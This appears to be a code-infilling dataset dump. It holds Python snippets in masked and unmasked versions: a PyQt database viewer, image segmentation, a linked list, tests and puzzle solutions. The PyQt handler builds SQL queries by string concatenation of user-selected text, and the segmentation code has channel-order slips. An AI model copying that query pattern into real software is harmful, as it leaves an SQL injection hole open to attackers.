self.bt_Later.setObjectName(_fromUtf8("bt_Later")) self.bt_Later.clicked.connect(self.clicked_bt_Later) self.label = QtGui.QLabel(Form) self.label.setGeometry(QtCore.QRect(70, 0, 511, 41)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) self.label.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8("Segoe UI Light")) font.setPointSize(18) font.setBold(True) font.setWeight(75) self.label.setFont(font) self.label.setObjectName(_fromUtf8("label")) self.cb_EventType = QtGui.QComboBox(Form) self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22)) self.cb_EventType.setObjectName(_fromUtf8("cb_EventType")) self.cb_EventType.currentIndexChanged['QString'].connect(self.handleChanged) self.label_2 = QtGui.QLabel(Form) self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21)) self.label_3 = QtGui.QLabel(Form) self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) self.label_2.setPalette(palette) self.label_3.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8("Segoe UI")) font.setPointSize(12) self.label_2.setFont(font) self.label_2.setObjectName(_fromUtf8("label_2")) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8("label_3")) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) self.initialize() def retranslateUi(self, Form): Form.setWindowTitle(_translate("Form", "Revisit business events", None)) self.bt_Earlier.setText(_translate("Form", "<<", None)) self.bt_Later.setText(_translate("Form", ">>", None)) self.label.setText(_translate("Form", "Revisit business events", None)) self.label_2.setText(_translate("Form", "Select Event Type", None)) def initialize(self): self.cb_EventType.addItems(self.getBusinessEventsType()) # self.cb_Destination.addItems(RH.getLocations()) def getBusinessEventsType(self): conn = sqlite3.connect("../Database/Business.db") conn.text_factory = str c = conn.cursor() c.execute('SELECT Event FROM EventTypes') locs = [r[0] for r in c.fetchall()] conn.close() return locs def handleChanged(self, text): modelView = QtGui.QStandardItemModel() query = QtSql.QSqlQuery() query.exec_("Select * from BusinessEvents a, EventTypes b where b.Event = '" + text + "' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " + str(self.eventSkip) + ",1") recCount = 0; while query.next(): recCount = recCount + 1 if query.value(2).toString() != '': query_Origin = QtSql.QSqlQuery() query_Origin.exec_("Select Name from Cities where ID = '" + query.value(2).toString() + "' LIMIT 1") query_Origin.next() modelInputItem = QtGui.QStandardItem("Origin") modelInputValue = QtGui.QStandardItem(query_Origin.value(0).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(3).toString() != '': query_Destination = QtSql.QSqlQuery() query_Destination.exec_("Select Name from Cities where ID = '" + query.value(3).toString() + "' LIMIT 1") query_Destination.next() modelInputItem = QtGui.QStandardItem("Destination") modelInputValue = QtGui.QStandardItem(query_Destination.value(0).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(4).toString() != '': modelInputItem = QtGui.QStandardItem("Weight") modelInputValue = QtGui.QStandardItem(query.value(4).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(5).toString() != '': modelInputItem = QtGui.QStandardItem("Volume") modelInputValue = QtGui.QStandardItem(query.value(5).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(6).toString() != '': modelInputItem = QtGui.QStandardItem("Time of Entry") modelInputValue = QtGui.QStandardItem(query.value(6).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(7).toString() != '': modelInputItem = QtGui.QStandardItem("Priority") modelInputValue = QtGui.QStandardItem(query.value(7).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(8).toString() != '': modelInputItem = QtGui.QStandardItem("Price Per Gram") modelInputValue = QtGui.QStandardItem(query.value(8).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(9).toString() != '': modelInputItem = QtGui.QStandardItem("Price Per CC") modelInputValue = QtGui.QStandardItem(query.value(9).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(10).toString() != '': modelInputItem = QtGui.QStandardItem("Company") modelInputValue = QtGui.QStandardItem(query.value(10).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(11).toString() != '': modelInputItem = QtGui.QStandardItem("Transport Type") modelInputValue = QtGui.QStandardItem(query.value(11).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(12).toString() != '': modelInputItem = QtGui.QStandardItem("Day of the Week") modelInputValue = QtGui.QStandardItem(query.value(12).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(13).toString() != '': modelInputItem = QtGui.QStandardItem("Frequency") modelInputValue = QtGui.QStandardItem(query.value(13).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(14).toString() != '': modelInputItem = QtGui.QStandardItem("Duration") modelInputValue = QtGui.QStandardItem(query.value(14).toString()) modelView.appendRow([modelInputItem,modelInputValue]) #modelInputValue = QtGui.QStandardItem('Value') # modelView.appendRow([modelInputItem,modelInputValue]) if recCount == 0: self.label_3.setText(_translate("Form", "No Records found", None)) self.inWork = False else: self.label_3.setText(_translate("Form", "", None)) self.inWork = True self.tb_EventViewer.setModel(modelView) def clicked_bt_Earlier(self): self.eventSkip = self.eventSkip + 1 self.handleChanged(self.cb_EventType.currentText()) def clicked_bt_Later(self): if self.eventSkip > 0: self.eventSkip = self.eventSkip - 1 self.handleChanged(self.cb_EventType.currentText()) class Database: def __init__(self, parent = None): self.data = QtSql.QSqlDatabase.addDatabase("QSQLITE") self.data.setDatabaseName("../Database/Business.db") self.data.open()
[ 9, 10, 11, 12, 13 ]
9,992
2193c97b7f1fcf204007c2528ecc47cbf3c67e81
<mask token>
<mask token> def people_on_image(path_to_image): color_map = [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 0, 0), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255)] trans = torchvision.transforms.Compose([torchvision.transforms.Resize( 540), torchvision.transforms.CenterCrop(520), torchvision. transforms.ToTensor(), torchvision.transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))]) model = torchvision.models.segmentation.fcn_resnet50(pretrained=True) model.eval() image = Image.open(path_to_image) image = trans(image) image = image.unsqueeze(0) out = model(image) labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy() red_map = np.zeros_like(labels).astype(np.uint8) green_map = np.zeros_like(labels).astype(np.uint8) blue_map = np.zeros_like(labels).astype(np.uint8) for label_num in range(0, len(color_map)): index = labels == label_num red_map[index] = np.array(color_map)[label_num, 0] blue_map[index] = np.array(color_map)[label_num, 1] green_map[index] = np.array(color_map)[label_num, 2] ready_image = np.stack([red_map, green_map, blue_map], axis=2) image = np.array(image) image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR) cv2.addWeighted(ready_image, 0.6, image, 0.4, 0) return ready_image
import torch import numpy as np import cv2 import torchvision from PIL import Image def people_on_image(path_to_image): color_map = [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 0, 0), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255)] trans = torchvision.transforms.Compose([torchvision.transforms.Resize( 540), torchvision.transforms.CenterCrop(520), torchvision. transforms.ToTensor(), torchvision.transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))]) model = torchvision.models.segmentation.fcn_resnet50(pretrained=True) model.eval() image = Image.open(path_to_image) image = trans(image) image = image.unsqueeze(0) out = model(image) labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy() red_map = np.zeros_like(labels).astype(np.uint8) green_map = np.zeros_like(labels).astype(np.uint8) blue_map = np.zeros_like(labels).astype(np.uint8) for label_num in range(0, len(color_map)): index = labels == label_num red_map[index] = np.array(color_map)[label_num, 0] blue_map[index] = np.array(color_map)[label_num, 1] green_map[index] = np.array(color_map)[label_num, 2] ready_image = np.stack([red_map, green_map, blue_map], axis=2) image = np.array(image) image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR) cv2.addWeighted(ready_image, 0.6, image, 0.4, 0) return ready_image
import torch import numpy as np import cv2 import torchvision from PIL import Image def people_on_image(path_to_image): color_map = [ (255, 255, 255), # background (255, 255, 255), # aeroplane (255, 255, 255), # bicycle (255, 255, 255), # bird (255, 255, 255), # boat (255, 255, 255), # bottle (255, 255, 255), # bus (255, 255, 255), # car (255, 255, 255), # cat (255, 255, 255), # chair (255, 255, 255), # cow (255, 255, 255), # dining table (255, 255, 255), # dog (255, 255, 255), # horse (255, 255, 255), # motorbike (255, 0, 0), # person (255, 255, 255), # potted plant (255, 255, 255), # sheep (255, 255, 255), # sofa (255, 255, 255), # train (255, 255, 255) # tv/monitor ] trans = torchvision.transforms.Compose([ torchvision.transforms.Resize(540), torchvision.transforms.CenterCrop(520), torchvision.transforms.ToTensor(), torchvision.transforms.Normalize( (0.485, 0.456, 0.406), (0.229, 0.224, 0.225))]) model = torchvision.models.segmentation.fcn_resnet50(pretrained=True) model.eval() image = Image.open(path_to_image) image = trans(image) image = image.unsqueeze(0) out = model(image) labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy() red_map = np.zeros_like(labels).astype(np.uint8) green_map = np.zeros_like(labels).astype(np.uint8) blue_map = np.zeros_like(labels).astype(np.uint8) for label_num in range(0, len(color_map)): index = labels == label_num red_map[index] = np.array(color_map)[label_num, 0] blue_map[index] = np.array(color_map)[label_num, 1] green_map[index] = np.array(color_map)[label_num, 2] ready_image = np.stack([red_map, green_map, blue_map], axis=2) image = np.array(image) image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR) cv2.addWeighted(ready_image, 0.6, image, 0.4, 0) return ready_image
null
[ 0, 1, 2, 3 ]
9,993
ff137b51ea5b8c21e335a38a3d307a3302921245
class Node: def __init__(self, data): self.data = data self.next = None <mask token> def Reverse(Head): Temp = Head TempNext = Head.next while TempNext != None: NextSaved = TempNext.next TempNext.next = Temp Temp = TempNext TempNext = NextSaved Head.next = None Head = Temp return Head <mask token>
class Node: def __init__(self, data): self.data = data self.next = None def Add(Head, data): Temp = Head while Temp.next != None: Temp = Temp.next Temp.next = Node(data) def create(data): Head = Node(data) return Head <mask token> def Reverse(Head): Temp = Head TempNext = Head.next while TempNext != None: NextSaved = TempNext.next TempNext.next = Temp Temp = TempNext TempNext = NextSaved Head.next = None Head = Temp return Head <mask token>
class Node: def __init__(self, data): self.data = data self.next = None def Add(Head, data): Temp = Head while Temp.next != None: Temp = Temp.next Temp.next = Node(data) def create(data): Head = Node(data) return Head def printLL(Head): Temp = Head while Temp != None: print(Temp.data, end=' ') Temp = Temp.next print() def Reverse(Head): Temp = Head TempNext = Head.next while TempNext != None: NextSaved = TempNext.next TempNext.next = Temp Temp = TempNext TempNext = NextSaved Head.next = None Head = Temp return Head <mask token>
class Node: def __init__(self, data): self.data = data self.next = None def Add(Head, data): Temp = Head while Temp.next != None: Temp = Temp.next Temp.next = Node(data) def create(data): Head = Node(data) return Head def printLL(Head): Temp = Head while Temp != None: print(Temp.data, end=' ') Temp = Temp.next print() def Reverse(Head): Temp = Head TempNext = Head.next while TempNext != None: NextSaved = TempNext.next TempNext.next = Temp Temp = TempNext TempNext = NextSaved Head.next = None Head = Temp return Head if __name__ == '__main__': Head = create(5) Add(Head, 6) Add(Head, 7) Add(Head, 8) Add(Head, 9) Add(Head, 10) printLL(Head) NewHead = Reverse(Head) printLL(NewHead)
class Node: def __init__(self,data): self.data = data self.next = None def Add(Head,data): Temp = Head while(Temp.next != None): Temp = Temp.next Temp.next = Node(data) # print(Temp.data) def create(data): Head = Node(data) return Head def printLL(Head): Temp = Head while(Temp != None): # input() print(Temp.data,end=" ") Temp = Temp.next print() def Reverse(Head): Temp = Head TempNext = Head.next # curr = TempNext while(TempNext != None): NextSaved = TempNext.next TempNext.next = Temp Temp = TempNext TempNext = NextSaved Head.next = None Head = Temp return Head if __name__ == '__main__': Head = create(5) Add(Head,6) Add(Head,7) Add(Head,8) Add(Head,9) Add(Head,10) printLL(Head) NewHead = Reverse(Head) printLL(NewHead)
[ 3, 5, 6, 7, 8 ]
9,994
0ac14b023c51bfd1cf99bd2d991baa30a671e066
<mask token> class ApiException(Exception): def __init__(self, message, code=400, data=None): Exception.__init__(self, message) self.code = code self.msg = message self.data = data def __str__(self): return self.msg <mask token> <mask token>
<mask token> class ApiException(Exception): def __init__(self, message, code=400, data=None): Exception.__init__(self, message) self.code = code self.msg = message self.data = data def __str__(self): return self.msg def to_dict(self): res = dict(self.data or ()) res['msg'] = self.msg res['code'] = self.code return res <mask token>
<mask token> class ApiException(Exception): def __init__(self, message, code=400, data=None): Exception.__init__(self, message) self.code = code self.msg = message self.data = data def __str__(self): return self.msg def to_dict(self): res = dict(self.data or ()) res['msg'] = self.msg res['code'] = self.code return res def error_handle(msg='', data=None): service_logger.error(data={'msg': msg, 'data': data}) raise ApiException(msg)
from service import service_logger from service.TaskService import TaskService class ApiException(Exception): def __init__(self, message, code=400, data=None): Exception.__init__(self, message) self.code = code self.msg = message self.data = data def __str__(self): return self.msg def to_dict(self): res = dict(self.data or ()) res['msg'] = self.msg res['code'] = self.code return res def error_handle(msg='', data=None): service_logger.error(data={'msg': msg, 'data': data}) raise ApiException(msg)
# _*_ coding: utf-8 _*_ from service import service_logger from service.TaskService import TaskService class ApiException(Exception): def __init__(self, message, code=400, data=None): Exception.__init__(self, message) self.code = code self.msg = message self.data = data def __str__(self): return self.msg def to_dict(self): res = dict(self.data or ()) res['msg'] = self.msg res['code'] = self.code return res def error_handle(msg='', data=None): service_logger.error(data={"msg": msg, "data": data}) raise ApiException(msg)
[ 3, 4, 5, 6, 7 ]
9,995
aafdd228cf2859d7f013b088263eab544e19c481
<mask token>
<mask token> try: myclient = pymongo.MongoClient('mongodb://localhost:27017/') myclient.server_info() print('Database Connected') except: print('Database Error') <mask token>
<mask token> myclient = {} try: myclient = pymongo.MongoClient('mongodb://localhost:27017/') myclient.server_info() print('Database Connected') except: print('Database Error') mydb = myclient['jmitproject'] user = user(mydb) blog = blog(mydb)
import pymongo from FlaskScripts.database.user_database import user from FlaskScripts.database.blog_database import blog myclient = {} try: myclient = pymongo.MongoClient('mongodb://localhost:27017/') myclient.server_info() print('Database Connected') except: print('Database Error') mydb = myclient['jmitproject'] user = user(mydb) blog = blog(mydb)
import pymongo from FlaskScripts.database.user_database import user from FlaskScripts.database.blog_database import blog myclient = {} try: myclient = pymongo.MongoClient("mongodb://localhost:27017/") myclient.server_info() print('Database Connected') except: print('Database Error') mydb = myclient["jmitproject"] user = user(mydb) # use user for users interaction blog = blog(mydb) # use blog for blogs interaction
[ 0, 1, 2, 3, 4 ]
9,996
c312bf096c7f4aaf9269a8885ff254fd4852cfe0
<mask token> class ExecuteCommandTest(TestBase): def setUp(self): super(ExecuteCommandTest, self).setUp() self.cwd = os.path.join(os.path.dirname(__file__), '../../..') self.logger = Mock() MonkeyPatcher.patch(action, 'create_background_logger', Mock( return_value=self.logger)) <mask token> <mask token> def test_success(self): data = self.create_data('./tests/bin/hook-test', Event. ARTIFACT_UPLOADED) result = action.execute_command(**data) self.assertTrue(result) expected_result = {'stdout': self.create_stdout(data), 'stderr': 'STDERR', 'exit_code': 0} self.logger.debug.assert_called_with('Command Result: {0}'.format( json.dumps(expected_result, indent=4))) def test_failure(self): data = self.create_data('./tests/bin/hook-test', 'fail') result = action.execute_command(**data) self.assertFalse(result) expected_result = {'stdout': self.create_stdout(data), 'stderr': 'STDERR', 'exit_code': 1} self.logger.debug.assert_called_with('Command Result: {0}'.format( json.dumps(expected_result, indent=4)))
<mask token> class ExecuteCommandTest(TestBase): def setUp(self): super(ExecuteCommandTest, self).setUp() self.cwd = os.path.join(os.path.dirname(__file__), '../../..') self.logger = Mock() MonkeyPatcher.patch(action, 'create_background_logger', Mock( return_value=self.logger)) <mask token> def create_stdout(self, data): l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'. format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])] return ', '.join(l) def test_success(self): data = self.create_data('./tests/bin/hook-test', Event. ARTIFACT_UPLOADED) result = action.execute_command(**data) self.assertTrue(result) expected_result = {'stdout': self.create_stdout(data), 'stderr': 'STDERR', 'exit_code': 0} self.logger.debug.assert_called_with('Command Result: {0}'.format( json.dumps(expected_result, indent=4))) def test_failure(self): data = self.create_data('./tests/bin/hook-test', 'fail') result = action.execute_command(**data) self.assertFalse(result) expected_result = {'stdout': self.create_stdout(data), 'stderr': 'STDERR', 'exit_code': 1} self.logger.debug.assert_called_with('Command Result: {0}'.format( json.dumps(expected_result, indent=4)))
<mask token> class ExecuteCommandTest(TestBase): def setUp(self): super(ExecuteCommandTest, self).setUp() self.cwd = os.path.join(os.path.dirname(__file__), '../../..') self.logger = Mock() MonkeyPatcher.patch(action, 'create_background_logger', Mock( return_value=self.logger)) def create_data(self, command, event): data = {'command': command, 'log_level': logging.DEBUG, 'event': event, 'uri': 'https://api.shelf.com/fake/artifact/1', 'meta_uri': 'https://api.shelf.com/fake/artifact/1/_meta', 'cwd': self.cwd} return data def create_stdout(self, data): l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'. format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])] return ', '.join(l) def test_success(self): data = self.create_data('./tests/bin/hook-test', Event. ARTIFACT_UPLOADED) result = action.execute_command(**data) self.assertTrue(result) expected_result = {'stdout': self.create_stdout(data), 'stderr': 'STDERR', 'exit_code': 0} self.logger.debug.assert_called_with('Command Result: {0}'.format( json.dumps(expected_result, indent=4))) def test_failure(self): data = self.create_data('./tests/bin/hook-test', 'fail') result = action.execute_command(**data) self.assertFalse(result) expected_result = {'stdout': self.create_stdout(data), 'stderr': 'STDERR', 'exit_code': 1} self.logger.debug.assert_called_with('Command Result: {0}'.format( json.dumps(expected_result, indent=4)))
from mock import Mock from shelf.hook.background import action from shelf.hook.event import Event from tests.test_base import TestBase import json import os import logging from pyproctor import MonkeyPatcher class ExecuteCommandTest(TestBase): def setUp(self): super(ExecuteCommandTest, self).setUp() self.cwd = os.path.join(os.path.dirname(__file__), '../../..') self.logger = Mock() MonkeyPatcher.patch(action, 'create_background_logger', Mock( return_value=self.logger)) def create_data(self, command, event): data = {'command': command, 'log_level': logging.DEBUG, 'event': event, 'uri': 'https://api.shelf.com/fake/artifact/1', 'meta_uri': 'https://api.shelf.com/fake/artifact/1/_meta', 'cwd': self.cwd} return data def create_stdout(self, data): l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'. format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])] return ', '.join(l) def test_success(self): data = self.create_data('./tests/bin/hook-test', Event. ARTIFACT_UPLOADED) result = action.execute_command(**data) self.assertTrue(result) expected_result = {'stdout': self.create_stdout(data), 'stderr': 'STDERR', 'exit_code': 0} self.logger.debug.assert_called_with('Command Result: {0}'.format( json.dumps(expected_result, indent=4))) def test_failure(self): data = self.create_data('./tests/bin/hook-test', 'fail') result = action.execute_command(**data) self.assertFalse(result) expected_result = {'stdout': self.create_stdout(data), 'stderr': 'STDERR', 'exit_code': 1} self.logger.debug.assert_called_with('Command Result: {0}'.format( json.dumps(expected_result, indent=4)))
from mock import Mock from shelf.hook.background import action from shelf.hook.event import Event from tests.test_base import TestBase import json import os import logging from pyproctor import MonkeyPatcher class ExecuteCommandTest(TestBase): def setUp(self): super(ExecuteCommandTest, self).setUp() self.cwd = os.path.join(os.path.dirname(__file__), "../../..") self.logger = Mock() MonkeyPatcher.patch(action, "create_background_logger", Mock(return_value=self.logger)) def create_data(self, command, event): data = { "command": command, "log_level": logging.DEBUG, "event": event, "uri": "https://api.shelf.com/fake/artifact/1", "meta_uri": "https://api.shelf.com/fake/artifact/1/_meta", "cwd": self.cwd } return data def create_stdout(self, data): l = [ "SHELF_EVENT={0}".format(data["event"]), "SHELF_URI={0}".format(data["uri"]), "SHELF_META_URI={0}".format(data["meta_uri"]) ] return ", ".join(l) def test_success(self): data = self.create_data("./tests/bin/hook-test", Event.ARTIFACT_UPLOADED) result = action.execute_command(**data) self.assertTrue(result) expected_result = { "stdout": self.create_stdout(data), "stderr": "STDERR", "exit_code": 0 } self.logger.debug.assert_called_with("Command Result: {0}".format(json.dumps(expected_result, indent=4))) def test_failure(self): data = self.create_data("./tests/bin/hook-test", "fail") result = action.execute_command(**data) self.assertFalse(result) expected_result = { "stdout": self.create_stdout(data), "stderr": "STDERR", "exit_code": 1 } self.logger.debug.assert_called_with("Command Result: {0}".format(json.dumps(expected_result, indent=4)))
[ 4, 5, 6, 7, 8 ]
9,997
25288a6dd0552d59f8c305bb8edbbbed5d464d5b
# Copyright (C) 2011 Ruckus Wireless, Inc. All rights reserved. # Please make sure the following module docstring is accurate since it will be used in report generation. """ Description: @author: Chris Wang @contact: [email protected] @since: Aug-09, 2010 Prerequisite (Assumptions about the state of the test bed/DUT): 1. Build under test is loaded on the Station Required components: 'Station' Test parameters: - zd_tag: zd tag. Will get zd components via zd tag in self.testbed.components. Test procedure: 1. Config: - initialize test parameters 2. Test: - Get limited ZD discovery settings. 3. Cleanup: - N/A Result type: PASS/FAIL Results: PASS: Get limited ZD discovery settings correctly. Messages: If FAIL the test script returns a message related to the criterion that is not satisfied """ import logging from RuckusAutoTest.models import Test from RuckusAutoTest.components.lib.zd import access_points_zd as lib class CB_ZD_Get_Primary_Secondary_ZD(Test): required_components = ['ZoneDirector'] parameters_description = {'zd_tag': "zd tag. Will get zd components via zd tag in self.testbed.components", } ''' Test case for automation. ''' def config(self, conf): self._init_test_params(conf) self._retrive_carrier_bag() def test(self): try: logging.info("Get limited ZD discovery settings via ZD") self.zd_discovery_cfg = lib.get_limited_zd_discovery_cfg(self.zd) logging.info("Limited ZD discovery cfg: %s" % self.zd_discovery_cfg) except Exception, e: self.errmsg = "Fail to get limited ZD discovery: %s" % e.message if self.errmsg: logging.debug(self.errmsg) return self.returnResult("FAIL", self.errmsg) else: self._update_carrier_bag() self.passmsg = "Get limited ZD discovery correctly: %s" % (self.zd_discovery_cfg) return self.returnResult("PASS", self.passmsg) def cleanup(self): pass def _retrive_carrier_bag(self): pass def _update_carrier_bag(self): self.carrierbag['gui_zd_discovery_cfg'] = self.zd_discovery_cfg def _init_test_params(self, conf): self.conf = dict(zd_tag = '') self.conf.update(conf) zd_tag = self.conf.pop('zd_tag') if zd_tag: self.zd = self.carrierbag[zd_tag] else: self.zd = self.testbed.components['ZoneDirector'] self.errmsg = '' self.passmsg = ''
null
null
null
null
[ 0 ]
9,998
0f0ded26e115b954a5ef698b03271ddf2b947334
''' PROBLEM N. 5: 2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder. What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20? ''' ''' Greatest common divisior using the Euclidean Algorithm, vide http://en.wikipedia.org/wiki/Euclidean_algorithm ''' def gcd(a, b): if a == b: return a if a == 0: return b if b == 0: return a if a > b: remainder = a%b return gcd(remainder, b) if b > a: remainder = b%a return gcd(remainder, a) ''' Lowest common denominator, using: lcd(a,b) = |a*b|/gcd(a,b) ''' def lcd(a, b): return a*b/gcd(a,b) print reduce(lcd, range(1,21))
null
null
null
null
[ 0 ]
9,999
ac2e9145e3345e5448683d684b69d2356e3214ce
<mask token>
<mask token> def dist(counts): n = abs(counts['n'] - counts['s']) nw = abs(counts['nw'] - counts['se']) ne = abs(counts['ne'] - counts['sw']) return n + max(ne, nw) <mask token>
<mask token> def dist(counts): n = abs(counts['n'] - counts['s']) nw = abs(counts['nw'] - counts['se']) ne = abs(counts['ne'] - counts['sw']) return n + max(ne, nw) if __name__ == '__main__': counts = defaultdict(int) with open('day11.input.txt') as f: INPUT = f.read().strip() dir_list = INPUT.split(',') for dir in dir_list: counts[dir] += 1 print(dist(counts)) counts = defaultdict(int) with open('day11.input.txt') as f: INPUT = f.read().strip() dir_list = INPUT.split(',') max_d = -1 for dir in dir_list: counts[dir] += 1 max_d = max(max_d, dist(counts)) print('max=', max_d)
from collections import defaultdict def dist(counts): n = abs(counts['n'] - counts['s']) nw = abs(counts['nw'] - counts['se']) ne = abs(counts['ne'] - counts['sw']) return n + max(ne, nw) if __name__ == '__main__': counts = defaultdict(int) with open('day11.input.txt') as f: INPUT = f.read().strip() dir_list = INPUT.split(',') for dir in dir_list: counts[dir] += 1 print(dist(counts)) counts = defaultdict(int) with open('day11.input.txt') as f: INPUT = f.read().strip() dir_list = INPUT.split(',') max_d = -1 for dir in dir_list: counts[dir] += 1 max_d = max(max_d, dist(counts)) print('max=', max_d)
from collections import defaultdict # The order of the steps doesn't matter, so the distance # function is very simple def dist(counts): n = abs(counts["n"] - counts["s"]) nw = abs(counts["nw"] - counts["se"]) ne = abs(counts["ne"] - counts["sw"]) return n + max(ne,nw) if __name__ == "__main__": counts = defaultdict(int) with open("day11.input.txt") as f: INPUT = f.read().strip() dir_list = INPUT.split(",") # The order of the steps doesn't matter so we just need # to count each type of step for dir in dir_list: counts[dir] += 1 print(dist(counts)) counts = defaultdict(int) with open("day11.input.txt") as f: INPUT = f.read().strip() dir_list = INPUT.split(",") # print(dir_list) max_d = -1 for dir in dir_list: # Keep running counts and check for distance at every # step to find max counts[dir] += 1 max_d = max(max_d,dist(counts)) print("max=", max_d)
[ 0, 1, 2, 3, 4 ]